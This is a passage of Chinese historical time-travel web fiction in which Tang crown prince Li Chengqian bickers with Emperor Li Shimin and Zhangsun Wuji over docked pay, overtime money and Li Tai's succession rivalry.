李承乾笑道:“也不是说为了谁出头,陛下察纳雅言,本是为了大唐江山社稷,所以哪怕知道权万纪这等人投机取巧,也不好处置,怕以言获罪之后,没人敢说真话。正巧权万纪这个事情撞上来了,借权万纪警醒下朝中大臣。发难权万纪之前,我同陛下商议过得。” 长孙无忌道:“你可不要小瞧这些言官,有的时候,他们能够影响到陛下决断,特别是对你的看法。” 潜台词就是,重视舆论的作用,没当上皇帝之前,别一天到处得罪人。 “我记住了,谢舅父教诲。” “看完了猞猁,殿下早些回宫帮陛下批奏疏。” 李承乾心累,这些人怎么就喜欢催别人干活? “既然是陛下的意思,那现在不是你躲懒的时候。” 李承乾点点头,应下长孙无忌的话:“看完猞猁,我离开长孙家。” 只是离开长孙家,不是回宫,长孙无忌皱了皱眉,小崽子不老实。 “来人,备车。” 李承乾道:“舅父要去哪里?” 长孙无忌道:“待会儿送你进宫。” 李承乾:!!! “舅父,这个就不劳您费心了,我自己回去。” 长孙无忌笑道:“你对陛下的口谕都表里不一,我觉得我还是费心些的好,就这么定了。” 李承乾气的咬牙,直接想问候长孙无忌的祖宗十八代,复一想母亲姓长孙,他这幅身体里流着一般长孙家的血液,长孙无忌的祖宗十八代不是他能问候的。 “舅父,我可是您亲外甥,您这么坑我合适吗?” 长孙无忌道:“不是你亲舅父,我也不替你操这份心。再说了,我不知道你对陛下的口谕表里不一倒还罢了,知道了视若无睹,你让陛下怎么想?” 李承乾有苦难言,心下暗道:早知道不来长孙无忌府邸了,简直就是给自己找麻烦。 “承乾,这猞猁你可不能白看。” “要交钱看吗?” 长孙无忌:…… “皇家养尊处优的太子,你眼界不要这么窄行不?” 李承乾道:“宫外不都是这么干得?什么都要钱。” 长孙无忌无语,看李承乾一脸理所当然,难道不是这样的表情,他一时分辨不清自己这个外甥是真的单纯,还是装糊涂。 “承乾觉得,你舅父缺钱?” 李承乾道:“各家有各家的难处,您缺不缺钱,只有您自己知道好嘛!就像天下人眼里,我这个太子挥金如土,不缺钱财,事实没人比舅父更清楚,我一个月就八千钱的俸禄,之前日子过的是紧巴巴的。” “你的意思,现在日子过得松快了?” 李承乾附耳过去,小声道:“陛下从他的私库给我划了三万钱,这比款项旁人一概不知,我现在也算是个小富豪。” 长孙无忌忍不住轻笑,反问李承乾,“你知道长安购置一所最为普通的宅院要多少钱吗?” 李承乾暗道:他知道武周朝洛阳的房价,贞观朝长安的房价真不知道。 “不知道,我又不买房子。” 长孙无忌道:“长安最普通的房子,都在两百贯钱以上。稍微好一些的都在三百贯以上,像魏征那种房子,也在七百贯以上。你一个月算上陛下给你的也才三十八贯钱,一年不吃不喝,两年才买得起魏征住的那套房子。” 富豪,真不知道李承乾是怎么定义这个词的。 李承乾笑容消失了那么一瞬,说他穷,他真的穷,没必要这么委婉。 “太子不能从商,不然的话,说不定我也能富甲天下。” 长孙无忌笑而不语,这一点李承乾倒是谨慎,没有培养爪牙在外头搜罗钱财,这种事情一旦干了,被人抓住,可不是小事。 数月不见,那只猞猁已经长大,见到生人,似乎有些应激,一个劲儿的呲牙。 小样,李承乾毫不客气的呲了回去。 长孙无忌:…… “老大不小了,一天没个正形。” 李承乾笑道:“人有点儿爱好,又不违法,哪里就不行了?” 长孙无忌摇摇头,生生将喉咙口的话咽下去。 “改天摸完魏公家的山君,再来摸你。” 生物埋藏在基因里的本能,保证让这小家伙想起太奶来。 没过一会儿,侍从过来通报,马车套好了。 长孙无忌二话不说,拽着李承掐就往府门外区。 “舅父,你一个文官,你怎么这么大的力气?” 长孙无忌停下脚步,上下打量李承乾,不禁叹气:“陛下说你小胳膊小腿,我还觉得不实,现在我明白了,陛下说的是真的。” 李承乾:…… “我早年跟随陛下征战,是猛将太多了,我做将帅差了不少,这才退而求其次,做了个文官。” 李承乾吃痛,道:“舅父,您把我手腕抓的生疼。” 长孙无忌松开李承乾,表情莫名。 “那你自己上马车,要么我抗你上马车。” 好汉不吃眼前亏,他打不过皇帝,看这个情况,也没啥希望能从长孙无忌手里溜了。 李世民正要张阿难遣人去东宫召太子,就听见宫人通报,国舅和太子来了。 二人进殿,问清楚缘由之后,李世民大手一挥,扣了李承乾一个月的俸禄。 第239章 谋臣之争 魏征病愈上朝,李世民也不由得感叹,贞观朝陪着自己一路走来的老人,渐渐的都要退场了。 魏征是否让褚遂良看过奏疏,褚遂良不否认,也不承认,可抛开此事不谈,辅佐他这么多年,确实是尽心尽力。 “陛下,您为什么这么看着臣?” 魏征被看的浑身起鸡皮疙瘩,就那啥子,挺瘆人的。 李世民似笑非笑看着魏征,揶揄道:“数日不见魏卿,卿家添了几分妩媚。” 魏征:…… 他就不该开口,真是嘴贱! “陛下,一国之君拿臣子开玩笑,像什么话?” 李世民道:“一朝的侍中,国之重臣,药吃一碗倒一碗像什么话?自己不尊重倒还罢了,带坏朕的太子,朕还没问卿家要说法呢!” 张阿难捂着嘴偷笑,魏征恨不能原地挖个洞钻进去,这黑历史是过不去了。 “卿家多日没去东宫了,可愿同朕东宫,见一见太子?” 说到东宫,魏征突然想起来一件事情,问道:“听说陛下罚了一个月的俸禄,是为了什么事情?” 李世民笑得十分无语,“这么点儿事情,那小崽子也同魏公告状?” “这倒是没有,听叔玉说得,太子心情不好,改策论的时候,看谁都像匹夫。一问才知道,一个月的俸禄没了,郁闷着呢!” 李世民笑道:“朕让他来甘露殿批复奏疏,玄成是不知道他那副嘴脸。说什么都不干,朕拿罚俸威胁,他才坐下干活儿。第二天一大早,他就跑了,最后被辅机送进宫了。” “那就是去国舅家看猞猁了,说到同国舅说了此事,原本指望国舅给他撑腰。” 李世民笑道:“辅机跟了朕那么多年,他心里偏向谁,朕还不清楚吗?” 魏征听明白了,李承乾诉苦不成,还被人扛着送来甘露殿,皇帝直接撸了一个月俸禄。 “臣听民间传闻,陛下年轻的时候很是爱玩儿,太原李二公子的名号,那是无人不知。” 李世民笑道:“少时荒唐,不成想让人记到了现在。玄成,那都是过去的事情了,你不会又要上疏吧?” 魏征道:“年轻人爱玩儿有什么错?一没有违法乱纪,二不曾伤天害理,臣还不至于那么无聊,逮着这种事情大做文章。” “朕同玄成君臣共事多年,玄成的性子,朕还是了解的,你不是一个说废话的人。贞观以来,直言进谏的大臣不少,朕纳玄成的谏言最多。那些陈芝麻,烂谷子的事情,你不会无缘无故提起的。” 魏征道:“太子才二十出头,正是少年意气的时候,贪玩儿实在正常。臣知道,陛下在这个年纪,已经建功立业。可似陛下这样的少年英才,是百年难得一见。适当的时候,陛下的标准该往下放一放。” “满朝文武夸朕的不少,可玄成夸朕,朕最为欢喜。” 魏征不解,问道:“为何?” 李世民轻咳两声,笑着道:“玄成嘴巴里,实在说不出几句好听的话。” 魏征笑道:“实话没几句是好听的。” “玄成,你说自己的儿子之间,互相残杀,该怎么处置?” 当初李承乾杀李泰,李泰在甘露殿哭求他查清此事,废掉李承乾。 那时,他捧着魏征的《十思疏》,自言自语:魏征只上疏治国,没告诉他怎么治家。 “今天,我们聊一聊治家,就聊一聊此前太子和越王的争端。” 此前李承乾遇刺,李泰刺杀李承乾,甚至都不顾及他在场,李泰的狠毒,他心里有数,当初那句“杀子立弟”,事后细想,实在让他毛骨悚然。 魏征思索片刻,道:“皇子的争端,起源于大位之争,一旦入局,那就是你死我活。争,要有争的底气,这个底气,是陛下您给的。” 李世民道:“朕已经取消了他身上那些逾制的封赏,他怎么就不能明白朕的心呢?” 魏征道:“陛下,从贞观二年开始到贞观十年,越王邀领二十八州的军权,这其中的雍州牧一职,可是集京兆的军政大权于一身。 陛下,您给他这些权力的时候,不管您是怎么想的,也不管越王怎么想的。老臣以朝臣的身份告诉您,臣属心中,越王有和太子一较高下的底气,陛下想要废黜太子。 甚至,早在贞观二年,很多大臣都已经认为太子不行了,这个东宫他住不了太久。” 李世民气了摔了茶碗,怒喝道:“岂有此理,简直岂有此理。” 魏征道:“贞观二年,越王遥领十六州军权,玄武门才过去三年,陛下怎会不知藩王掌兵的利害关系?姑且算陛下爱子之心,但大臣们不会这么想。” 李世民靠在凭几上,整个人气的不轻,魏征又继续补充道:“围绕最高权力之争,素来都是这般。当年臣辅佐息隐王,房相他们辅佐陛下。主君之争,亦是谋臣之争。” “玄成,当日擒窦建德,朕特意问了你的行踪,他说你去了长安,你说,朕再快一些,能不能把你收为己用?” 魏征摇摇头,“臣只辅佐社稷,于当时的大唐而言,东宫在何处,社稷就在何处。” “朕打王世充的时候,两军僵持不下,你给窦建德进言。要窦建德直取长安,断了朕的后援,同王世充东西夹击朕。” 魏征尴尬一笑,“各为其主,臣当时的确给窦建德进言,可他不听,据关中可得天下,他却只想做洛阳王,臣就知道,他连河北王都做不长远了。天下的社稷,不在窦建德身上。” “窦建德要是听了你的,朕的麻烦就大了。” 他的黑历史,魏征不想再继续这个话题,“越王不是不明白陛下的心,是他一早入了局。无论越王品性如何,他都不敢赌自己彻底出局之后,能不能全身而退。 臣方才说过,主君之争,亦是谋臣之争。哪怕主君不动,谋臣也会推着他往前走。越王不敢赌自己能不能全身而退,谋臣更不敢赌太子会不会既往不咎。” 李世民听罢,陷入沉思。 “眼下,太子和越王应该还没有发展到这个地步吧?臣知道越王频上奏疏,都是些无关痛痒的小事,陛下不必太过忧心。” 李世民暗暗腹谤:你个老棺材瓤子只知其表,不知其里,跟你个老棺材瓤子说不清楚! 第240章 梦幻联动 “玄成,午膳就在甘露殿用。” 魏征道:“臣与人有约,不好违约。” “谁这么大的面子?朕留你用饭,你都要走?” 魏征道:“这不是面子大小的问题,是信义的问题,臣已经应约,若因为贪图陛下的恩宠就违约,实在不是为人师表该做的事情。” “是谁请玄成,朕都要往后排。” 魏征道:“臣下了朝,就见东宫家令过来,太子邀臣去东宫用午膳。不知陛下留饭,臣就应下了。” 李世民讪笑道:“如此,那朕就不留玄成了。” 得了皇帝许可,魏征拜了一拜,退出殿外。 晚些时候,李承乾到甘露殿帮着皇帝批奏疏,涉及到工资,他即便不情愿也必须到场。 “玄成说你被罚了俸禄,看谁都像匹夫。” 李承乾暗暗吐槽:又不是关羽,吕布死了看谁都是匹夫。 “父亲,被罚俸禄又不是什么开心的事情,臣郁郁两天也很正常吧?” 李世民道:“朕恼火的不是你懒,是你出门又不带人,上一次的教训,你是一点儿都没捡。” 提到出门不带人这个话题,李承乾有些尴尬,他没有出门带人的习惯。 “你那几个子儿朕不缺,月底照常给你。” 有什么比发工资更开心,李承乾瞬间换了一副表情,看的李世民直摇头。 “你那个家境,难得你守着一个月那几个子儿,得了欢天喜地,失了如丧考妣。” 李承乾笑道:“臣家境是不错,可那些钱不是臣的,父母自幼管的严,给臣的零花钱不少,但不许臣乱花钱。所以,自己挣来的,完全属于自己的钱,就很珍贵了。” 李世民道:“没事儿不要去宫外乱转,朕就怕百密一疏。” 正在磨墨的李承乾,闻言一顿,听皇帝话里的意思,李泰又安排新一轮的刺杀了。 一来皇帝不愿意伤害李泰,二来不到收网的时候,害怕刺杀摆到明面上,坏了计划。 “爸妈只臣一个儿子,臣在未来算不上豪门,也是小有家产。陛下,您说要是臣有个兄弟,会不会也闹得你死我活?” 李世民笑道:“朕不知道,生在皇家争帝位,权贵之家争爵位,富贵之家争钱财。归根结底,都是你曾经同朕说过的话,争得都是命。” 李承乾长叹一声,“计划生育万岁,独生子女万岁。” “计划生育和独生子女,此二人做了多大贡献,敢称万岁,要造反吗?” 听皇帝对“万岁”这个词汇如此敏感,李承乾轻笑,麦子熟了几千次,人民万岁第一次,伟人的跨时代意义,在人类发展的历史上,普通人只能瞻仰,不可置评。 “计划生育就是节制和减少生育,是华夏的一项政策,也就是说一般情况下,夫妻只能生育一个孩子,独生子女则是应计划生育而生的一种现象。” 李世民道:“人口多,是国家繁荣富强的体现,为什么要节制生育?” 李承乾道:“一个国家在某一个阶段,能够养活的人口是有定额的,如果人口的增长超过了这个定额,就会让国家负担不起。” 这么一说,李世民就听明白了。 “也就是说,在未来的某一个时间段,人口增加的速度,使得国家无力养育这么多人口。于是,就有了计划生育的政策。而你,就是计划生育之下的独生子女?” 李承乾摊开奏疏,提笔批复,一边同皇帝聊天,“父亲,您是不知道,做一个独生子女有多么的幸福。” “在大唐,你做不了独生子女,认命吧!” 李承乾笑道:“所以,臣羡慕李德謇,他整天说卫公嫌弃他,以卫公的地位,真的嫌弃李德謇,要多少儿子没有?在大唐享受独生子的待遇,他资质不高卫公也不强求,他哪里是被嫌弃了?他就是太实诚了,认识不到卫公爱子之心,换臣去做卫公的儿子,臣保证把卫公哄的嘴都合不拢。” 李世民听得笑僵了僵,问道:“你不是说你不会哄人吗?” 李承乾道:“您不要门缝里看臣,我爸好相处没错,可父子之情,是需要父子共同经营的。我知道我爸在哄我开心,我爸也知道我在哄他开心,可有句话叫难得糊涂,上班精神高度集中,回到家里率性,幼稚,被家里人哄哄,多么幸福的一件事情。” 李世民抬手打断李承乾,这个话题没有继续说下去非必要,否则他可能会控制不住想打李承乾的冲动。 “好好批奏疏,你批复的奏疏,朕要重新看的,要是出了差错,朕罚你俸禄。” 好好的聊天,突然心情就不好了,怪不得说天心难测,这皇帝,实在是太难伺候了。 “没想到,魏师傅的拳脚功夫,也不差。” 李世民道:“大唐统一之前,从河北到长安,一路上兵荒马乱,还带着妻子,能请安抵达京师,你觉得他会是手无缚鸡之力的废物?” 李承乾:…… 感觉有被冒犯到,但他没有证据。 “魏师傅,竟然可以跟宝琳过几个回合,简直是离了大谱。” 那么个瘦弱的老头,一股教导主任的气质,打出了体育老师的战绩。 李承乾暗暗叹气,他是个唐朝人,但感觉他一点都不了解唐朝。 “魏征在入仕之前,先出家做了道士。后世如何我不知道,但在大唐,我很负责任的告诉你,拳脚功夫是每一个道士入门必学。” 李承乾道:“臣要是在武德年间回来,第一件事情就是出家当道士。” “你想的美,死了那条心吧!你出家当道士,朕那个时候就两个嫡子,青雀出继玄霸,送你去出家,你看你阿翁他敢不敢这么作践朕。” 李承乾听罢,不禁发笑,“父亲,若是道祖给臣托梦,要渡了臣去宗圣宫,找个机会满朝文武都知道道祖要我。臣猜阿翁会即刻下诏,青雀回到您这一脉,中山王出家宗圣宫,为国祈福。” “你说道祖给你托梦,道祖就给你托梦了,你敢说,朕看谁信?” 李承乾笑道:“父亲,武德年间,臣也就五六岁,一个五六岁的孩子出口就是一篇数百字的祭告词。别说您不知道前因后果,您就是重生的,也只有一个解释,且只能有那个解释,臣受道祖点化出家。不去,那就是得罪神明。” 李世民死的磨牙,咬牙切齿的道:“李承乾,你是不是欠揍?” 李承乾吓得慌忙将笔放下,全身心戒备,做好了随时逃跑的准备。 第241章 劳动者的合法权益 “乖乖批你的奏疏,朕不打你。” 得了皇帝保证,李承乾这才重新拿起笔,摊开奏疏批复。 “之前尚书省那么忙,也不见你脸哭丧成这样。” 李承乾道:“根本就不一样,在尚书省干的是臣自己的活儿,现在干的活儿是父亲您的活儿。” “为朕分忧还委屈你了?” 高兴了是为君分忧,不高兴就是不知进退,李承乾可不吃这个亏,但话不能这么说。 “您不要不把臣扣在这里,臣在东宫烹茶下棋,日子过得舒服的很。” 李世民气的胃疼,自己这个儿子,简直被姓高的养坏了,懒得出奇。 “休息日,被叫到上司办公室,处理本该是上司的公文,还要说这是福气,这福气谁爱要谁要。” 处理几本奏疏,又不是什么实在的权力的财富,万一出了问题,还要受责难,典型的吃力不讨好。 “照你跟朕说的那些,在未来休息日去上司办公室处理公文,是经常发生的事情了?” 李承乾点点头,加班常态化还没有工资,单纯劳动力白嫖,不过,皇帝这么问,他可以趁机向皇帝捞一波好处。 “未来这种情况叫加班,有加班费的。比如说大臣们休沐,您紧急叫大臣们议事,这就属于加班,是要额外支付劳动报酬的。” 李世民问道:“那如果不支付劳动报酬,会怎么样?” 有《劳动法》,但维权成本太高,对大多数人来说就是摆设。 李承乾继续昧良心忽悠皇帝,“有《劳动法》坚定捍卫劳动者权益,不支付加班费,是要坐牢的。” 李世民道:“本朝没有劳动法,但大臣们劳苦功劳,往后朕召他们议事,也额外支付劳动报酬。” 李承乾笑道:“父亲,休息日加班,三倍工资哦!” “朕像是缺钱的人吗?” “当然不是!” 说谁缺钱,都不能说皇帝缺钱。 “父亲,臣现在这种,也叫加班。” 李世民轻笑,兔崽子在这儿等着他呢! “你的俸禄是八千钱,朕每个月额外给你三万钱,你是怎么好意思问朕要加班费的?” 李承乾开启耍赖模式,要钱,不磕碜,为什么要不好意思? “那三万钱是零花钱,怎么能跟加班费扯上呢?其他皇子,不上班您也给零花钱的好不好?” “你……你怎么如此市井?” 李承乾道:“争取自己的合法权益,怎么能叫市井呢?父亲,您休息日找人加班,不支付加班费,这是违法的。” “哈!”李世民抚掌大笑,“李承乾,这是大唐,不是未来那个时代,没有劳动法,给不给全看朕心情,给了那叫天恩,不给也是你们为君分忧的本分。” 听了这话,李承乾苦笑连连,现代压榨劳动者的那群人,都不能叫资本家了,应该叫地主。正经资本家是给多少钱,办多少事,地主才是不给钱就想着你给他办事。 李承乾轻敲案几,道:“父亲,这是您的奏疏,不在臣本分之内……” 李世民道:“朕千秋万代之后,这大唐就是你的,你现在做的一切,都是留给未来的自己。” 又来了,老板语录:要把公司当家,你们现在所做的一切,将来都会回报到你们身上。 “万一臣英年早逝怎么办?到时候……” “闭嘴!”李世民的脸色瞬间阴沉的滴水,怒斥道:“不想挨打,就给朕乖乖批奏疏,批完了你就可以滚了。” “父亲您放心,臣要是在这里英年早逝,一般两种可能,要么带着记忆轮回,要么回到未来,后者的可能性更大一些。若是后者,您要为臣开心,臣可以回去实现各种水果自由、美食自由,旅行自由。” 李世民道:“在朕看来,这些都比不过权力的自由。” 李承乾道:“这是实话,不过权力自由要考虑生产力,在这个时代的权利自由,夏天热了吹不到空调,冬天冷了没暖气,出去旅游乘车马,不能上天入海,连出大唐国境都困难,拥有至高权力,却连基本的物质需求的满足不了,权力自由的范围就很有限。 举个例子,父亲你那个重孙子,想吃荔枝,吃一次累死百十匹马,沿途荔枝重税,就这才能吃上几颗荔枝。忽视生产力的权力自由,没有任何意义。” 李世民的关注点显然不在吃荔枝上,而是吃荔枝的损耗,斥道:“胡闹,如此劳民伤财,就没有大臣进言阻止吗?” 李承乾默默低头批折子,没办法,李隆基晚年飘了,张九龄等忠臣被贬官,李林甫、杨国忠粉面登场,有一日杀三子,强娶儿媳的战绩摆在那里,就问谁不要命了,敢去劝谏? “臣在未来,想吃荔枝,那是一堆上好的品种等着挑。只要臣愿意,臣可以两三个小时,坐飞机去两广,花钱去荔枝园,要吃哪个自己摘。车厘子、蓝莓也是,只要臣愿意,种植园自由采摘。” 李世民听得很不爽,他一个皇帝,没有未来一个平民过得舒服,实在是岂有此理。 “别说了,给朕闭嘴!” 李承乾道:“所以,臣的加班费,您到底给不给?” “给,朕给,不就是几个子吗?朕就奇了怪了,平日也不见你有什么大的花销,这么缺钱?” 李承乾笑道:“您不懂,有钱不用和没钱用,是两回事儿。” “你做梦,有的时候会梦到承乾吗?” 皇帝突然提起这个话题,倒是让李承乾意料之外,“我们两个一体同心,两副皮囊而已。偶尔做梦,不同时空的灵魂交汇,这个再正常不过。” 李世民道:“所以,他吃了,也就等于你吃了,你还有什么不满足的?” “这根本不一样好不好?” 李世民道:“你啊!想法还是太狭隘了,所以,你就继续看着别人吃,难受吧!这是你的选择,乖乖受着吧!” 皇帝在杀人诛心,李承乾气的直接丢了笔。 李世民抿了口茶汤,欣赏李承乾的郁闷,十分满足自己的战绩。 高柏有句话没说错,高明的道德素质太高了,哪怕心里不认他这个父亲,也不会轻易说出诛心的话来。 至于他的那个承乾,李世民敢保证,就刚才他说的那几句话,不把桌子掀了,那都是给面子。 第242章 坑长孙无忌 一番舌辩,好歹拿到了加班费,这加班也就不那么痛苦了,李承乾三两下批完奏疏,放下笔,丝毫不带犹豫的跑路。 金窝银窝,不如自家的草窝。哪怕是名义上公司小老板,在公司干活,也不及在自己窝舒服。 李承乾在榻上打了两个滚儿,起身吃了一盏茶,就去丽正殿见苏氏和李觉。 婴孩儿出生时,在羊水里泡久了,皮肤皱皱巴巴的,需要一段时间恢复。 出生将差不多一月,李觉脸上的浮肿消散,小家伙白胖了许多,肉嘟嘟,软乎乎的,抱在手里的感觉十分不错。 苏氏穿了件朱红色宝相花暗纹齐胸襦裙,配墨绿色对襟上襦,外罩大袖与襦裙颜色保持一致。 李承乾暗暗赞叹,谁说红配绿俗气,高级的红配绿,穿在身上的气度是不一样的。 他记得苏氏之前不是这个穿衣风格,大抵是生产过后,腹直肌分离,腰腹皮肤松弛,短期内难以恢复,不适合带束腰的衣服。 “眼瞅着两位侧妃就要入宫,妾身已经吩咐有司,将内院打点妥当,或有不足,待两位侧妃入东宫,再行修改或者添减。” 李承乾笑道:“男女成家,各主乾坤。内宅的事情,我不插手,你看着办就行。” 苏氏点点头,太子不管后宅,可到底是太子的妃妾,她应该知会一声。 不上早朝还要去加班,说好的休假,就这么被剥削了,李承乾默默在心里唾骂:万恶的地主。 尽管李承乾目前的阶级属性也是地主,那又如何,心情不好,什么都不能阻止不了他骂人。 扣了李承乾在两仪殿批复奏疏,李世民闲了下来,在北海设宴,请长孙无忌一叙。 “当初朕从临湖殿将高祖拉来这里,高祖陛下坐在这里,无忌护驾,震慑住了禁卫军,朕才得以险胜建成和元吉。” 长孙无忌道:“一晃十三年过去了,高祖陛下作古,陛下成了大唐的盛世之君。” “九月十五,皇孙满月,朕打算在显德殿宴请朝中三品以上的官员。” 长孙无忌道:“皇家有喜,普天同庆。” 李世民道:“原本,朕打算今年去同州围猎,这会子是去不得了。” 长孙无忌道:“东宫赐宴结束之后,出发去同州围猎,时间上来得及。” 李世民摆摆手,道:“若只是时间,那就不是问题了。” 长孙无忌听明白了,不出意外,同太子有关,关于太子遇刺,朝野其他人不知,皇帝却透露了些许给他。 “承乾和青雀,他们的争执,让朕十分头疼。” 长孙无忌放下酒盏,问道:“陛下只说,青雀又安排了几次刺杀?” 李世民伸出三根手指头,定定的看着长孙无忌,“近一个月,还不算前两次。所以,朕才那么生气,承乾这兔崽子,出门不带护卫。” 三次,给长孙无忌干沉默了,青雀这胆子也太大了,一次没有得手,就该收手了,免得打草惊蛇。 “倒是难为了常何将军,暗中护着这么一位将个人生死置之度外的太子。对了,承乾,他知道李泰一个月对他动手三次吗?” 李世民道:“朕给他挡了,他当然不知道。这个兔崽子,他那危机意识简直是没有。” 说到危机意识,李承乾表示,这个真的不能怪他,实在是未来社会,无论是古今时间上的差异,还是全球空间上的差异,华夏的治安都是首屈一指的。 人,会随着环境潜移默化,相对和平稳定的环境待久了,危机意识自然而然就淡化了。 举个例子,在鹰国的留子,初来乍到,听外头一阵噼里啪啦,还以为是过年放鞭炮了,打开窗户看热闹,结果是真理对掏。关窗户的速度但凡慢一秒,都得被真理送走。 甘露殿批奏疏的李承乾突然打了个喷嚏。他伸了个懒腰,对着一旁“伺候”他批奏疏的张阿难道:“张翁,看样子有人想我了。” 张阿难笑盈盈的回答:“殿下在甘露殿,说不定是陛下想殿下了。” 李承乾尴尬一笑,皇帝不骂他就不错了,想他,不存在的。 九月的北海,颇有萧瑟之意,李世民摩挲着酒盏,满脸都是愁绪。 “陛下是在忧心,将来承乾不会放过青雀吗?” 李世民道:“承乾不是赶尽杀绝之人,青雀着实让朕担心。” 当初,他立了李治为太子,李泰在朝中的党羽,重臣除开房玄龄,其他的几乎挨个被长孙无忌薅了一遍。这些事情,都是他默许的。 李泰但凡聪明一点,就该知道自己于储君之位无望,结果这小崽子还写了文章上来,企图让他重新召其回京。他当然不可能召回李泰,继续和雉奴打擂台。 李治又不是什么心胸宽广的,李泰这种作为直接恶心到了李治,结果就是他驾崩,李泰被剥夺长安吊孝的资格,李治登基三年,李泰就郁郁而终了。 盖棺定论的谥号,李治给了李泰一个“恭”字,遍观李泰一生,何时恭敬过?且自晋朝之后,“恭”字多与亡国之君做谥号,李治对李泰的讽刺挖苦,也是够了! “青雀,不会善罢甘休的。” 长孙无忌不知道该怎么说,李泰的心思早就给养野了,李世民现在才发愁,太迟了。 “陛下,臣是他们的舅父,都是臣的外甥,这话臣不好说。” 李世民道:“你觉得承乾,这孩子心性如何?” 长孙无忌思索良久,最后吐出一个字来:“怪!” “怎么个怪法?” 长孙无忌摇摇头,道:“说不上来,就是怪。” 老实说,长孙无忌不喜欢李承乾,他始终无法捉摸李承乾的心思,这于他而言,不是什么好事。 自古以来,国舅多半是摆设,他一直都知道,所以他总是游离在权力中心之外。 天子元舅就不一样了,新君登基,才是他一展身手,大展宏图的时候。 “你细细想来,说一说,他哪里怪?” 长孙无忌思索半晌,开口道:“日常相处,就觉得他很是幼稚,难当大任。可,此前他主政尚书省,以及主持制考,陛下也看到了,百密无有一疏,老辣的紧。臣觉得,他这个办事手段,他应该是个谨小慎微,老成持重的性子。” 李世民笑笑,又道:“辅机,你知道承乾最近问朕要钱的事情吗?” 长孙无忌摇摇头,皇帝和太子的私事,他事无巨细的都知道,那还得了? “他是去了国舅府,回来之后问朕要钱。” 长孙无忌心下暗道不好,李世民该不会是要他掏钱给李承乾吧? “辅机,这事情说来你也有责任。” 第243章 弹劾太子 长孙无忌笑容僵了那么一瞬,就说李世民找他吃席,多半不是什么好事。 “臣可没鼓动太子问陛下要钱。” 李世民道:“从辅机那里回来之后,他就嚷嚷着,什么休沐日上值,活儿不能白干,要朕额外支付报酬。” 长孙无忌道:“给钱才干活儿,没毛病。陛下不给俸禄,不给爵位权力,朝中那些大臣,没几个愿意给陛下干活儿。” “辅机,你的意思,朕不能让天下归心?” 长孙无忌道:“陛下,您当然是令天下归心的圣主。可,咱们也不能忽略现实,单纯去谈情义。朝中大臣追随陛下,说什么造福苍生,都是虚的,为官做宰,荫蔽子孙,换来显赫门庭,这才是他们最终的目的。” “辅机,你这话说得太伤人了。” 长孙无忌笑道:“实话,总不那么好听。陛下,倘若朝中的大臣,都一心为公,只求造福大唐社稷,为何要挤破头,低三下四,委曲求全,要与大族联姻?这背后,看中的无非是大族之间,盘根错节的势力,能够辅佐儿孙仕途。” 事实胜于雄辩,李世民找不出理由反驳,干脆结束这个话题,端起酒盏敬长孙无忌。 “朕是看明白了,承乾为什么同朕要钱了。” 长孙无忌被李世民的目光,看的头皮发麻,当即放下酒盏表态:“天地可鉴,臣可没有给太子出主意让他找陛下要钱。” 李世民笑道:“辅机心里向着谁,朕还能不知道?朕当然知道,这不是辅机鼓动。” 知道了还要他掏钱,长孙无忌默默抿了口酒,所以,李世民单纯找个冤大头掏钱? “辅机,这要是观音婢在,我就不找你了。” 这个理由,真的让人没办法拒绝。 “那陛下说说,一个月,臣要出多少钱给太子。” 李世民思索片刻,伸出两个手指头来。 大概率不会是两千钱,长孙无忌叹了口气,“两万就两万,不过铜钱实在不方便携带,臣换成等额的金叶子给他。” 爽快人,李世民端起酒盏,再次敬酒长孙无忌,“辅机,朕敬你一杯。” 这杯酒多少有些贵,长孙无忌喝的肉疼。 “承乾这小子,一点儿也不像朕,将身外之物,看的太重了。可你说,他要那么多钱干嘛?朕看了,他的花销不大,钱到他手里,差不多都在箱子里落灰。” 长孙无忌不好吐槽,有三个铸钱炉的人,要多少钱,铸多少钱,当然不会把钱看的太重。 “承乾禁足期间,陛下罚过他的俸禄,他是缺过钱的人,当然会把钱看的重。陛下从未缺过钱,自然不能明白,承乾为什么看重钱。钱这个东西,素来都是可以不用,但绝不能没有。” 想起了一些不好的回忆,李世民笑容僵了那么一瞬。 “辅机,你不缺钱吧?” 长孙无忌道:“臣的父亲在臣很小的时候,便撒手人寰。父亲尸骨未寒,长兄安业,将就我们兄妹赶出长孙家。我们兄妹走投无路,写信给舅父,等待的过程中,辗转在市井,也曾为衣食住行发愁。” 李世民道:“安业作孽,所以朕做太子之后,日夜不安,生怕你和观音婢会报复他。” 长孙无忌笑笑,兄弟大义在那里摆着,他才没那个闲心,干这种吃力不讨好的事情,去报复长孙安业。酒长孙安业那个心性,他和妹妹身居高位,荣宠一身,比让长孙安业死都难受。 “所以说,承乾要钱,陛下给就是了,反正也是存在箱子里落灰,哪一天国库需要用钱,大是大非上,承乾他拎得清,陛下开口他肯定给。甚至,不用陛下开口,他都会给。” 李世民笑道:“朕给了,朕要是不给,直接骂他一顿就行,哪里会找辅机。” 长孙无忌有苦难言,李承乾问李世民要酬劳,他当冤大头掏钱,哪儿说理去。 “承乾在甘露殿批奏疏,陛下不回去看看他?” 李世民笑道:“看他做什么?他批完了自己就回去了,咱们只管吃喝听曲儿。” “陛下是恩宠,只怕承乾有些受宠若惊。” 呵! 李世民不想接这个话茬,换作他的承乾,还得是贞观十三年之前的承乾,的确会受宠若惊。 轮回以后的承乾,是承乾,更是高明,受宠若惊不存在,只会抱怨他让自己加班还不给加班费,腹谤他是无良老板。 “天子的权柄,一不小心就是僭越。承乾不愿意去甘露殿,作为太子,他有这份谨慎与自觉,是好事。” 李世民轻笑,李承乾这小子,忽悠人的本事越来越厉害了,连长孙无忌都被忽悠进去了。 “秦朝的大将军王翦,率领三十万大军征伐楚国,一路上不停的向始皇帝索要钱财美人。承乾的抱怨,他的拒绝,不过是效仿先贤,避嫌罢了。” 李世民暗道:长孙无忌误会了,李承乾那个兔崽子还真不是。 “始皇帝与王翦是君臣,朕同他是父子,分明就不一样,难得他废这么多心思避嫌。” 不好跟长孙无忌说内情,李世民也就顺着长孙无忌的话往下说。 长孙无忌道:“陛下,君臣父子,很多时候可比君臣要危险的多。” “舅兄,你这一颗心,偏的厉害。” 长孙无忌顿了一顿,尴尬回答:“陛下,臣当舅父的,总不好说,钱一分没有,打管饱吧?” 李世民:…… 甘露殿 批了一下午奏疏,李承乾只觉得肩膀胀痛,皇帝的甘露殿,他也不好叫人都出去,只能忍到批完奏疏回东宫在适量活动。 